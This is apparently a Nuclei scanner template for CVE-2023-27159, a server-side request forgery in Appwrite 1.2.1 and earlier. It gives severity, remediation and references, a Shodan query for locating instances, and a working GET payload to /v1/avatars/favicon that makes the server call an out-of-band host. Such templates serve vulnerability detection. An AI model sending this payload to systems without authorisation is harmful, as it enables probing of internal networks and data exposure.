id: CVE-2023-27159

info:
  name: Appwrite <=1.2.1 - Server-Side Request Forgery
  author: DhiyaneshDk
  severity: high
  description: |
    Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the server.
  remediation: |
    Upgrade Appwrite to a version higher than 1.2.1 to mitigate the SSRF vulnerability.
  reference:
    - https://gist.github.com/b33t1e/43b26c31e895baf7e7aea2dbf9743a9a
    - https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27159
    - http://appwrite.com
    - https://github.com/appwrite/appwrite
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-27159
    cwe-id: CWE-918
    epss-score: 0.00317
    epss-percentile: 0.67077
    cpe: cpe:2.3:a:appwrite:appwrite:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: appwrite
    product: appwrite
    shodan-query: title:"Sign In - Appwrite"
  tags: cve,cve2023,appwrite,ssrf,oast

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/avatars/favicon?url=http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Appwrite-Server"
# digest: 4a0a004730450220488a6bed9ccec93397654bd0bd634d3b0a050ae9d10d089a48e8eb7d5ce9e734022100ed5669e8fd0531baf30f1028739506470fa46a0956fc700eb753b4b3751e8803:922c64590222798bb761d5b6d8e72950